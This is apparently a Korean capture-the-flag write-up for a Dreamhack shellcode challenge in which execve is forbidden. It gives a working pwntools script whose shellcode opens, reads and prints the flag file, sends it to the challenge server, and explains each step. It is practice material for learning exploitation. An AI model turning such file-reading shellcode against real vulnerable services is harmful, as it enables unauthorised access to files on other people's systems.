쉘코드를 작성하는 문제다.
execve()
, execveat()
처럼 쉘을 실행하는 함수는 사용할 수 없다. 문제 의도는 다른 함수를 이용해서 flag를 읽을 수 있도록 쉘코드를 작성하는 것이 목표다.
설명에서 flag 파일 위치를 절대경로로 알려주고 있다.
일반적인 쉘코드는 execve("/bin/sh", ..., ...)
처럼 쉘을 실행하는 유형이 대부분이다. 그러나 execve()
를 사용할 수 없는 상황이므로 일반적인 쉘코드를 사용해서 쉘을 획득하는 것은 불가능하다.
그렇다면, flag를 어떻게 획득할 수 있을까?
목표는 쉘을 실행하는 것이 아니라 flag를 획득하는 것이다. 그렇다면, execve()
를 사용하지 않고 read()
, write()
로 flag를 읽는 방식으로 접근해볼 수 있다.
read()
, write()
를 사용해서 flag를 읽는 쉘코드를 작성하고 전송해보자.
from pwn import *
import warnings
warnings.filterwarnings( 'ignore' )
p = remote('host3.dreamhack.games',19692)
context(arch='amd64', os='linux')
shellcode = shellcraft.pushstr('/home/shell_basic/flag_name_is_loooooong')
shellcode += shellcraft.open('rsp', 0, 0)
shellcode += shellcraft.read('rax', 'rsp', 1100)
shellcode += shellcraft.write(1, 'rsp', 1100)
p.recvuntil('shellcode: ')
p.send(asm(shellcode))
p.interactive()
pwntools 모듈의 shellcraft 함수를 이용해서 쉘코드를 작성했다.
쉘코드를 해석하면 open()
인자로 /home/shell_basic/flag_name_is_loooooong
를 사용하기 위해서 pushstr('/home/shell_basic/flag_name_is_loooooong')
로 문자열을 스택에 push한다.
다음으로 open()
인자로 rsp를 사용해서 push한 문자열을 가리키도록 하고 open("/home/shell_basic/flag_name_is_loooooong", 0, 0)
을 실행한다.
마지막으로 read(fd, rsp, 1100)
→ write(1 ,rsp, 1100)
순서로 실행해서 flag를 읽고 출력한다.